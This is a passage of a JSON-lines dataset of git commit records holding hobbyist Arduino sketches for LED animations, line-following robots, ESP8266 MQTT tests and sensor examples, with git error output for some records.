C8ColorLow[C8nColors] = {0, 550, 700}; \/\/RGB\n static const short C8ColorPeak[C8nColors] = {100, 750, 1023};\n static const short C8ColorHigh[C8nColors] = {600, 800, 1023};\n short C8RGBLevels[C8nColors];\n short iColor, seglevel, lowval, peakval, highval;\n\n seglevel = strip->GetSegment_Level(iSegment); \n for (iColor = 0; iColor < C8nColors; iColor++) {\n lowval = C8ColorLow[iColor];\n peakval = C8ColorPeak[iColor];\n highval = C8ColorHigh[iColor];\n C8RGBLevels[iColor] = 0;\n if (seglevel > lowval) {\n if (seglevel < peakval) {C8RGBLevels[iColor] = ((seglevel - lowval) * 127) \/ (peakval - lowval);}\n else if (seglevel < highval) {C8RGBLevels[iColor] = ((highval - seglevel) * 127) \/ (highval - peakval);}\n }\n }\n strip->SetSegment_ForeColor(iSegment, LEDSegs::Color(C8RGBLevels[0], C8RGBLevels[1], C8RGBLevels[2])); \n}\n\n\/*\nSegmentProgramChristmas9: Simple single segment from the bottom\n*\/\n\nshort C9ColorIndex = 0;\nuint32_t C9SegColors[] = {RGBRed, RGBGreen, RGBGold, RGBBlue}; \/\/Colors to cycle\n\nvoid SegmentProgramChristmas9() { \n if (C9ColorIndex >= SIZEOF_ARRAY(C7SegColors)) {C9ColorIndex = 0;}\n strip->DefineSegment(0, nTotalLEDs, cSegActionFromBottom, C9SegColors[C9ColorIndex], 0x1E);\n C9ColorIndex++;\n}\n\n\/*\nThe Arduino boot setup routine\n*\/\n\nvoid setup() {\n\n \/\/Create the strip class instance we will use\n strip = new LEDSegs(nTotalLEDs);\n \n \/\/Make sure we see a \"change\" to start the segment sets cycling\n thisSegmentSet = -1;\n waitforSegmentTimeMS = 0;\n#if defined DIAGINITSERIAL\n Serial.begin(9600);\n Serial.println(\"\"); Serial.println(\"----- Starting Sketch -----\");\n#endif\n}\n\n\/*\nThe Arduino main loop. Just sample and display with a wait\n*\/\n\nvoid loop() {\n uint32_t startRefreshMS; \/\/MS time at the start of this refresh cycle;\n\n \/\/Get the current time\n startRefreshMS = millis();\n\n \/\/If time for this segment set has run out, reset thetimer and move to the next segment set (cyclic)\n if (waitforSegmentTimeMS <= startRefreshMS) {\n waitforSegmentTimeMS = startRefreshMS + segmentSetDisplayTimeMS; \/\/Set the time for the upcoming segment set\n thisSegmentSet++; \/\/Move to the next segment set (cycling)\n if (thisSegmentSet >= nSegmentSets) {thisSegmentSet = 0;};\n strip->ResetStrip();\n SegmentSetups[thisSegmentSet]();\n } \n \n \/\/Do the deed\n strip->DisplaySpectrum(true, true);\n\n \/\/Wait for the minimum refresh time;\n while (millis() < (startRefreshMS + refreshDelayMS)) {;}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ChristmasExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e6b2854eee9042219e733afbf1edf2207b8241ae","subject":"Near Line Follower Robot Code","message":"Near Line Follower Robot Code\n","repos":"ruamberg\/DI_progs,ruamberg\/DI_progs","old_file":"LineFollow\/Vespa.ino","new_file":"LineFollow\/Vespa.ino","new_contents":"\/\/ Vespa.ino\n\n#define KP 1\n#define KI 0\n#define KD 0\n#define CORRECTION(a,b,c) a+b+c\n#define NUMSENSORS 10\n\nint line[NUMSENSORS] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 12};\n\/\/Para esquema 1, -9, -7, -5, -3, -1, 1, 3, 5, 7, 9; \n\/\/Para esquema 2, 0, 10, 20, 30, 40, 50, 60, 70, 80, 90;\nint error[NUMSENSORS] = {-9, -7, -5, -3, -1, 1, 3, 5, 7, 9};\nint setPoint = 0; \/\/Para esquema 1, setPoint = 0; Para esquema 2, setPoint = 45;\nint currentPoint = 0;\nint err = 0;\nint iErr = 0, prevErr = 0;\nint p = 0, i = 0, d = 0;\nint extraSpeed = 0;\nint baseSpeed = 0;\nint maxSpeed = 0;\nint blackLimit;\nint timeFlag = 0;\n\nvoid setup() {\n\tint i = 0;\n\tfor(i = 0; i < NUMSENSORS; i++) {\n\t\tpinMode(line[i], INPUT);\n\t}\n}\n\nvoid loop() {\n\terr = getCurrentPoint() - setPoint;\n\tp = KP * err;\n\ti = KI * (iErr);\n\td = KD * (err - prevErr);\n\n\t\/\/Motor na velocidade base (baseSpeed) +- CORRECTION(p,i,d)\n\trightMotor(baseSpeed - CORRECTION(p,i,d));\n\tleftMotor(baseSpeed + CORRECTION(p,i,d));\n\n\taccel(50, 5);\n\n\tprevErr = err;\n\tiErr += err;\n}\n\nint getCurrentPoint() {\n\tint i = 0;\n\tint numerador = 0, denominador = 0;\n\tfor(i = 0; i < NUMSENSORS; i++) {\n\t\tif(analogRead(line[i]) > blackLimit) {\n\t\t\tdenominador++;\n\t\t\tnumerador += error[i];\n\t\t}\n\t} \n\tif(denominador == 0) {\n\t\tdenominador = 1;\n\t}\n\n\treturn numerador\/denominador;\n}\n\nvoid rightMotor(int speed) {\n\tint newSpeedRightMotor = speed;\n\tif(speed > 255) {\n\t\tnewSpeedRightMotor = 255;\n\t}\n\n\tif(speed >= 0) {\n\t\t\/\/liga o motor para frente com intensidade igual a newSpeedRightMotor\n\t}\n\telse {\n\t\t\/\/liga o motor para tr\u00e1s com intensidade igual a -newSpeedRightMotor\n\t}\n}\n\nvoid leftMotor(int speed) {\n\tint newSpeedLeftMotor = speed;\n\tif(speed > 255) {\n\t\tnewSpeedLeftMotor = 255;\n\t}\n\n\tif(speed >= 0) {\n\t\t\/\/liga o motor para frente com intensidade igual a newSpeedLeftMotor\n\t}\n\telse {\n\t\t\/\/liga o motor para tr\u00e1s com intensidade igual a -newSpeedLeftMotor\n\t}\n}\n\nvoid accel(int timeInterval, int accelFactor) {\n\tif(millis() - timeFlag >= timeInterval) {\n\t\tif(err == 0 && baseSpeed < maxSpeed)\n\t\t\tbaseSpeed += accelFactor;\n\t\telse if(maxSpeed - baseSpeed < err) {\n\t\t\tbaseSpeed -= accelFactor * 2;\n\t\t}\n\t\ttimeFlag = millis();\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LineFollow\/Vespa.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c3c711888ac0cbee795d364352dacb8a41b99f76","subject":"Add simultaneous web server update and SD card log","message":"Add simultaneous web server update and SD card log\n","repos":"KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer","old_file":"ReadTemp_06\/ReadTemp_06.ino","new_file":"ReadTemp_06\/ReadTemp_06.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/KaichenWang\/wireless-thermometer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f772038619b367ffc7afa06250688c352c02fbe1","subject":"tx power and rate limit","message":"tx power and rate limit\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_39_esp12-random-test\/_39_esp12-random-test.ino","new_file":"_39_esp12-random-test\/_39_esp12-random-test.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#define IPSET_STATIC { 192, 168, 10, 7 }\n#define IPSET_GATEWAY { 192, 168, 10, 1 }\n#define IPSET_SUBNET { 255, 255, 255, 0 }\n#define IPSET_DNS { 192, 168, 10, 10 }\n\nIPAddress ip_static = IPSET_STATIC;\nIPAddress ip_gateway = IPSET_GATEWAY;\nIPAddress ip_subnet = IPSET_SUBNET;\nIPAddress ip_dns = IPSET_DNS;\n\nString macToStr(const uint8_t* mac);\nvoid sendmqttMsg(char* topictosend, String payload);\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nIPAddress mqtt_server = MQTT_SERVER;\n\nchar* topic = \"pubtest\";\n\nString clientName;\nlong lastReconnectAttempt = 0;\nlong lastMsg = 0;\nint test_para = 0;\nunsigned long startMills;\n\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, wifiClient);\n\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str())) {\n Serial.println(\"===> mqtt connected\");\n } else {\n Serial.print(\"---> mqtt failed, rc=\");\n Serial.println(client.state());\n }\n }\n return client.connected();\n}\n\n\n\/**\n * set the output power of WiFi\n * @param dBm max: +20.5dBm min: 0dBm\n *\/\n\/* \nvoid ESP8266WiFiGenericClass::setOutputPower(float dBm) {\n\n if(dBm > 20.5) {\n dBm = 20.5;\n } else if(dBm < 0) {\n dBm = 0;\n }\n\n uint8_t val = (dBm*4.0f);\n system_phy_set_max_tpw(val);\n}\n*\/\n\n\/*\ntypedef enum {\n WIFI_PHY_MODE_11B = 1, WIFI_PHY_MODE_11G = 2, WIFI_PHY_MODE_11N = 3\n} WiFiPhyMode_t;\n\nbool ESP8266WiFiGenericClass::setPhyMode(WiFiPhyMode_t mode) {\n return wifi_set_phy_mode((phy_mode_t) mode);\n}\n*\/\n\n#define LIMIT_RATE_MASK_ALL (0x03)\n#define FIXED_RATE_MASK_ALL (0x03)\n\n#define RC_LIMIT_11B 0\n#define RC_LIMIT_11G 1\n#define RC_LIMIT_11N 2\n\n\/*\n bool wifi_set_user_limit_rate_mask(uint8 enable_mask)\n\nint wifi_set_user_fixed_rate(uint8 enable_mask, uint8 rate)\n\nenum FIXED_RATE {\n PHY_RATE_48 = 0x8,\n PHY_RATE_24 = 0x9,\n PHY_RATE_12 = 0xA,\n PHY_RATE_6 = 0xB,\n PHY_RATE_54 = 0xC,\n PHY_RATE_36 = 0xD,\n PHY_RATE_18 = 0xE,\n PHY_RATE_9 = 0xF,\n};\n\nenum RATE_11G_ID {\n RATE_11G_G54M = 0,\n RATE_11G_G48M = 1,\n RATE_11G_G36M = 2,\n RATE_11G_G24M = 3,\n RATE_11G_G18M = 4,\n RATE_11G_G12M = 5,\n RATE_11G_G9M = 6,\n RATE_11G_G6M = 7,\n RATE_11G_B5M = 8,\n RATE_11G_B2M = 9,\n RATE_11G_B1M = 10\n};\n\nenum RATE_11N_ID {\n RATE_11N_MCS7S = 0,\n RATE_11N_MCS7 = 1,\n RATE_11N_MCS6 = 2,\n RATE_11N_MCS5 = 3,\n RATE_11N_MCS4 = 4,\n RATE_11N_MCS3 = 5,\n RATE_11N_MCS2 = 6,\n RATE_11N_MCS1 = 7,\n RATE_11N_MCS0 = 8,\n RATE_11N_B5M = 9,\n RATE_11N_B2M = 10,\n RATE_11N_B1M = 11\n};\n#define RC_LIMIT_11B 0\n#define RC_LIMIT_11G 1\n#define RC_LIMIT_11N 2\n\nbool wifi_set_user_rate_limit(uint8 mode, uint8 ifidx, uint8 max, uint8 min)\n \n*\/\n\n \n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED) {\n \/\/ WIFI\n Serial.println();\n Serial.print(\"===> WIFI ---> Connecting to \");\n Serial.println(ssid);\n delay(10);\n\n WiFi.setOutputPower(13);\n WiFi.setPhyMode(WIFI_PHY_MODE_11G);\n wifi_set_user_limit_rate_mask(LIMIT_RATE_MASK_ALL);\n wifi_set_user_fixed_rate(FIXED_RATE_MASK_ALL, PHY_RATE_6);\n \/\/wifi_set_user_rate_limit(RC_LIMIT_11N, 0x00, RATE_11N_B5M, RATE_11N_B1M);\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n \/\/WiFi.config(IPAddress(ip_static), IPAddress(ip_gateway), IPAddress(ip_subnet), IPAddress(ip_dns));\n\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print(\". \");\n Serial.print(Attempt);\n delay(100);\n Attempt++;\n if (Attempt == 250)\n {\n Serial.println();\n Serial.println(\"-----> Could not connect to WIFI\");\n ESP.restart();\n delay(200);\n }\n\n }\n Serial.println();\n Serial.print(\"===> WiFi connected\");\n Serial.print(\" ------> IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\n\nvoid setup()\n{\n startMills = millis();\n \/\/Serial.begin(74880);\n\n Serial.println(\"\");\n Serial.println(\"rtc mem test\");\n Serial.println(wifi_station_get_auto_connect());\n WiFi.setAutoConnect(true);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n Serial.println(clientName);\n}\n\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 200) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n long now = millis();\n if (now - lastMsg > test_para) {\n lastMsg = now;\n uint32_t really_random = *(volatile uint32_t *)0x3FF20E44;\n String payload = \"{\\\"startMills\\\":\";\n payload += (millis() - startMills);\n payload += \",\\\"rand\\\":\";\n payload += really_random;\n payload += \",\\\"FreeHeap\\\":\";\n payload += ESP.getFreeHeap();\n payload += \",\\\"RSSI\\\":\";\n payload += WiFi.RSSI();\n payload += \"}\";\n sendmqttMsg(topic, payload);\n }\n client.loop();\n }\n } else {\n wifi_connect();\n }\n delay(1);\n}\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n\n unsigned int msg_length = payload.length();\n\n Serial.print(\" length: \");\n Serial.println(msg_length);\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length)) {\n Serial.println(\"Publish ok\");\n free(p);\n \/\/return 1;\n } else {\n Serial.println(\"Publish failed\");\n free(p);\n \/\/return 0;\n }\n }\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_39_esp12-random-test\/_39_esp12-random-test.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a311f1e816556663edf4e03de2f73abcb42e2eea","subject":"First Test LED per LED and color per color","message":"First Test LED per LED and color per color\n","repos":"Wene\/WS2812_animations","old_file":"WS2812_Test.ino","new_file":"WS2812_Test.ino","new_contents":"\/\/ Uncomment this line if you have any interrupts that are changing pins - this causes the library to be a little bit more cautious\n\/\/ #define FAST_SPI_INTERRUPTS_WRITE_PINS 1\n\n\/\/ Uncomment this line to force always using software, instead of hardware, SPI (why?)\n\/\/ #define FORCE_SOFTWARE_SPI 1\n\n\/\/ Uncomment this line if you want to talk to DMX controllers\n\/\/ #define FASTSPI_USE_DMX_SIMPLE 1\n\n#include \"FastSPI_LED2.h\"\n\n#define NUM_LEDS 240\n\nCRGB leds[NUM_LEDS];\n\nvoid setup() {\n\t\/\/ sanity check delay - allows reprogramming if accidently blowing power w\/leds\n \tdelay(2000);\n\n \t\/\/ For safety (to prevent too high of a power draw), the test case defaults to\n \t\/\/ setting brightness to 25% brightness\n \tLEDS.setBrightness(64);\n\n \tLEDS.addLeds<WS2811, 13>(leds, NUM_LEDS);\n}\n\nvoid loop()\n{\n \/\/Test LED for LED in red\n for(int i = 0; i < NUM_LEDS; i++)\n {\n memset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n leds[i].g = 128;\n LEDS.show();\n delay(250);\n }\n \/\/Test LED for LED in green\n for(int i = 0; i < NUM_LEDS; i++)\n {\n memset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n leds[i].r = 128;\n LEDS.show();\n delay(250);\n }\n \/\/Test LED for LED in blue\n for(int i = 0; i < NUM_LEDS; i++)\n {\n memset(leds, 0, NUM_LEDS * sizeof(struct CRGB));\n leds[i].b = 128;\n LEDS.show();\n delay(250);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"8e6ebb6379040ad0817490ca5c8d1cef2c3ed581","subject":"Added Acceleration Example with Sensitivity","message":"Added Acceleration Example with Sensitivity\n","repos":"angeloz\/arduino-library-LSM6DS0","old_file":"examples\/LSM6DS0-Acceleration.ino","new_file":"examples\/LSM6DS0-Acceleration.ino","new_contents":"#include <LSM6DS0.h>\n#include <Wire.h>\n\nLSM6DS0 acc;\n\nvoid setup() {\n SerialUSB.begin();\n Wire.begin();\n while (!SerialUSB);\n acc.init();\n}\n\nvoid loop() {\n SerialUSB.print(\"X:\");\n SerialUSB.print(acc.acc_getAxesX());\n SerialUSB.print(\" - Y:\");\n SerialUSB.print(acc.acc_getAxesY());\n SerialUSB.print(\" - Z:\");\n SerialUSB.println(acc.acc_getAxesZ());\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LSM6DS0-Acceleration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e0fd3b6c1ea7d62202a7d4e6df82a14ba32e2db","subject":"Detection: changement des pins","message":"Detection: changement des pins\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Detection\/Software\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0.ino","new_file":"Module Detection\/Software\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Detection\/Software\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d0d8885e9664b4bf0bdadb9c5bb0f8302132059","subject":"Update main.ino","message":"Update main.ino\n\nC\u00f3digo atualizado da primeira vers\u00e3o a ser disponibilizada.","repos":"bitinstitute\/irobot","old_file":"sketches\/main.ino","new_file":"sketches\/main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitinstitute\/irobot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb63546dfe7b818a17bef04b3a1cc896794d8085","subject":"included all letters and numbers","message":"included all letters and numbers","repos":"TEAMarg\/VeCToR_Letters,TEAMarg\/VeCToR_Letters","old_file":"VeCToR_Letters.ino","new_file":"VeCToR_Letters.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/VeCToR_Letters.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"746a310929dde2380b633f7c6e8de2cd341eeac1","subject":"added stuff","message":"added stuff\n","repos":"simonmonk\/electronics_cookbook","old_file":"arduino\/blink\/blink.ino","new_file":"arduino\/blink\/blink.ino","new_contents":"const int ledPin = 13;\n\nvoid setup() \n{\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(ledPin, HIGH); \/\/ turn the LED on \n delay(1000); \/\/ wait for a second\n digitalWrite(ledPin, LOW); \/\/ turn the LED off \n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/blink\/blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc23b31c96c708b86f3e9c0ce4093a6866820160","subject":"Create zaman.ino","message":"Create zaman.ino","repos":"manashmndl\/TechFiestaQualifyingRound,manashmndl\/TechFiestaQualifyingRound","old_file":"zaman.ino","new_file":"zaman.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/For sonar\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint req_dis=12;\nint s_pGain=100;\nint s_iGain=0;\nint s_dGain=0;\nint s_iInteg=0;\nint s_eInteg=0;\nint s_ePrev=0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/For IR array\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \nint pGain=100;\nint iGain=0;\nint dGain=50;\nint iInteg=0;\nint eInteg=0;\nint ePrev=0;\n\nint echoPort =30;\nint triggerPort =31;\n\n\nint INA=22; \nint INB=23;\nint INC=24;\nint IND=25;\n\nint EN1=2;\nint EN2=3;\n\nint speedA;\nint speedB;\nint avgSpeed=110;\nint s_avg=60;\n\nfloat pid=0;\nfloat error=0;\n\nvoid setup() {\n \npinMode( INA, OUTPUT );\npinMode( INB, OUTPUT );\npinMode( INC, OUTPUT );\npinMode( IND, OUTPUT );\n\npinMode( triggerPort, OUTPUT );\npinMode( echoPort, INPUT );\nSerial.begin( 9600 );\n}\nint flag=0;\nint flag2=0;\nvoid loop() {\n\n\n\/\/float sensor_value= read_sensor();\n\/\/float turn=PID(sensor_value,3);\n\/\/delay(1000);\n\/\/read_sensor();\nfloat wall= distance();\nif(wall<15)\n{\n flag=1;\n flag2++;\n \n \n}\nif(flag2==1)\n{\n a_for();\n b_for();\n analogWrite(EN1,50);\n analogWrite(EN2,50);\n delay(1000);\n flag2++;\n}\n\nif(wall>5 && wall<20)\n{\n test();\n}\nelse\n{\n motor();\n}\n\n}\n\n\n\/\/float i =front_sensor();\n\/\/Serial.println(i);\n\/\/a_for();\n\/\/analogWrite(EN1,50);\n\/\/analogWrite(EN2,0);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/*******************\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nfloat turn;\n\nvoid motor()\n{\nfloat x;\nfloat sensor_value= read_sensor();\n\nif(sensor_value=='l') \/\/For hard turn lift\n{\n x=front_sensor();\n \/\/Serial.print(\"front_sensor\");\n \/\/Serial.println(x);\n \nif(x==0)\n{\n a_bac();\n b_for();\n analogWrite(EN1,65);\n analogWrite(EN2,65);\n while(analogRead(0)>347);\n}\nsensor_value= front_sensor();\n}\n\/\/\nif(sensor_value=='r') \/\/For hard turn right\n{\n float x=front_sensor();\n if(x==0)\n {\n b_bac();\n a_for();\n analogWrite(EN1,65);\n analogWrite(EN2,65);\n while(analogRead(4)>428);\n }\n sensor_value= front_sensor();\n}\n\n\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\n\nif(sensor_value=='s')\n{\n analogWrite(EN1,0);\n analogWrite(EN2,0);\n delay(7000);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/*********************************\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/turn=PID(sensor_value,3);\nif(sensor_value!=0)\n{\n turn=PID(sensor_value,3.0);\n}\n\n\/\/Serial.println(turn);\n if(turn>=500) \/\/Limit the pid value\n turn=500;\n if(turn<=-500)\n turn=-500;\n\n if(turn>0) \/\/ when left arrayes touch line\n {\n if(turn>250) \/\/Vary hard turn\n {\n a_bac();\n speedA=(turn-250)\/5;\n }\n else \/\/Normar turn\n {\n a_for();\n speedA=(250-turn)\/5;\n }\n speedB=avgSpeed;\n }\n \n \n if(turn==0) \/\/When On the line\n {\n a_for();\n b_for();\n speedA=avgSpeed;\n speedB=avgSpeed;\n }\n\n\n if(turn<0) \/\/When Right sensor touchs line\n {\n if(turn<-250) \/\/Vary hard turn\n {\n b_bac();\n speedB=(-turn-250)\/5;\n }\n else \/\/Normar turn\n {\n b_for();\n speedB=(250+turn)\/5;\n }\n speedA=avgSpeed;\n }\n analogWrite(EN1,speedA);\n analogWrite(EN2,speedB);\n int wall= distance();\n if (wall<20)\n {\n flag=1;\n loop;\n }\n}\n\n \/*void test()\n{\n float value=distance();\n if(value<15)\n {\n analogWrite(EN1,speedA);\n analogWrite(EN2,speedB);\n }\n else \n {\n analogWrite(EN1,0);\n analogWrite(EN2,0);\n }\n}*\/\nvoid test()\n{ \n \n\/\/ analogWrite(EN1,0);\n\/\/ analogWrite(EN2,0);\n\/\/ delay(5000);\n a_for();\n b_for();\n float cur_distance=distance();\n float turn = s_PID(cur_distance,req_dis);\n \nSerial.println(turn); \n if(turn>=255)\n turn=255;\n if(turn<=-255)\n turn=-255;\n \n if(turn>=0){\n speedA=s_avg;\n speedB=s_avg-turn\/20;\n }\n else{\n speedA=s_avg+turn\/20;\n speedB=s_avg;\n }\n \n analogWrite(EN1,speedA);\n analogWrite(EN2,speedB);\n if(front_sensor !=0)\n {\n flag=0;\n }\n \n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/For IR\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nfloat PID(float cur_value,float req_value)\n{\n\t\n \n\terror = req_value - cur_value;\n\tpid = (pGain * error) + (dGain * (error - ePrev));\n\n\teInteg += error; \/\/ integral is simply a summation over time\n\tePrev = error; \/\/ save previous for derivative\n\n\treturn pid;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/For Sonar \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nfloat s_PID(float cur_value,float req_value)\n{\n\t\n\n\terror = req_value - cur_value;\n\tpid = (s_pGain * error) + (s_dGain * (error - s_ePrev));\n\n\ts_eInteg += error; \/\/ integral is simply a summation over time\n\ts_ePrev = error; \/\/ save previous for derivative\n\n\treturn pid;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/*******************\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nfloat distance()\n{\ndigitalWrite(triggerPort, LOW);\t\t\t\/\/ set to LOW trigger's output\ndigitalWrite(triggerPort, HIGH);\t\t\/\/ send a 10us pulse to the trigger\ndelayMicroseconds( 10 );\ndigitalWrite(triggerPort, LOW);\n \nlong duration = pulseIn(echoPort, HIGH);\n \nlong r = 3.4 * duration \/ 2;\t\t\t\/\/ here we calculate the distance using duration\n\nfloat distance = r \/ 100.00;\n\n \n\/\/Serial.print(\"duration: \");\n\/\/Serial.println(duration);\n\/\/Serial.print(\" , \");\n\/\/Serial.print(\"distance: \");\n\/\/\/\/ \n\/\/\n\/\/if( duration > 38000 ) Serial.println(\"out of reach\");\t\t\/\/ if duration in greather than 38ms, the obstacle is out of reach\n\/\/else { Serial.print(distance); Serial.println(\"cm\");}\n\/\/ \n\/\/\n\/\/delay( 500);\nSerial.println(distance);\n\t\t\t\t\t\t\t\/\/ wait for 1s\nreturn distance;\n}\nvoid a_for() \/\/\/Motor A forward direction\n{\ndigitalWrite(INA,1);\ndigitalWrite(INB,0);\n}\n\nvoid a_bac() \/\/\/Motor A backward direction\n{\ndigitalWrite(INA,0);\ndigitalWrite(INB,1);\n}\n\nvoid b_for() \/\/\/Motor B forward direction\n{\ndigitalWrite(INC,1);\ndigitalWrite(IND,0);\n\n}\n\nvoid b_bac() \/\/\/Motor B backward direction\n{\ndigitalWrite(INC,0);\ndigitalWrite(IND,1);\n\n}\n\nvoid a_stop()\n{\n digitalWrite(INA,0);\n digitalWrite(INB,0);\n}\nvoid b_stop()\n{\n digitalWrite(INC,0);\n digitalWrite(IND,0);\n}\nfloat read_sensor()\n{\n int s[5];\n int value[7]={347,405,457,537,428,90,120};\n float avgSensor;\n for(int i=0;i<5;i++)\n {\n if(analogRead(i)<value[i])\n {\n s[i]=1;\n }\n else\n {\n s[i]=0;\n }\n }\n if(analogRead(5)<value[5])\n {\n return 'l'; \/\/when left sensor touches\n }\n if(analogRead(6)<value[6])\n {\n return 'r'; \/\/when right sensor touches\n }\n \/\/347,405,457,537,428\n if(analogRead(0)<347)\n {\n if(analogRead(4)<428)\n {\n if(analogRead(2)>457)\n {\n return 's';\n }\n }\n \/\/return 's';\n \n }\n \/\/325,355,440,550,425,137,150\n \/*if(analogRead(0) > 325 && analogRead(3) < 550 && analogRead(4) < 425 )\n return 'd';\n \n if(analogRead(4) > 425 && analogRead(0) < 325 && analogRead(0) < 355 )\n return 'b';*\/\n\/\/ for(int i=0;i<7;i++) \/\/For test\n\/\/ {\n\/\/ Serial.print(value[i]); \/\/\n\/\/ Serial.print('\\t'); \/\/ \n\/\/ }\n\/\/ Serial.println(); \/\/\n \n avgSensor = s[0]*1 + s[1]*2 + s[2]*3 + s[3]*4 + s[4]*5 ;\n if(avgSensor==0)\n {\n return 0;\n }\n avgSensor = (float) avgSensor \/ (s[0] + s[1] + s[2] + s[3] + s[4]);\n return avgSensor;\n\n}\n \n float front_sensor()\n{\n int s[5];\n int value[5]={347,405,457,537,428};\n float avgSensor;\n for(int i=0;i<5;i++)\n {\n if(analogRead(i)<value[i])\n {\n s[i]=1;\n }\n else\n {\n s[i]=0;\n }\n }\n \n \n avgSensor = s[0]*1 + s[1]*2 + s[2]*3 + s[3]*4 + s[4]*5 ;\n if(avgSensor==0)\n {\n return 0;\n }\n avgSensor = (float) avgSensor \/ (s[0] + s[1] + s[2] + s[3] 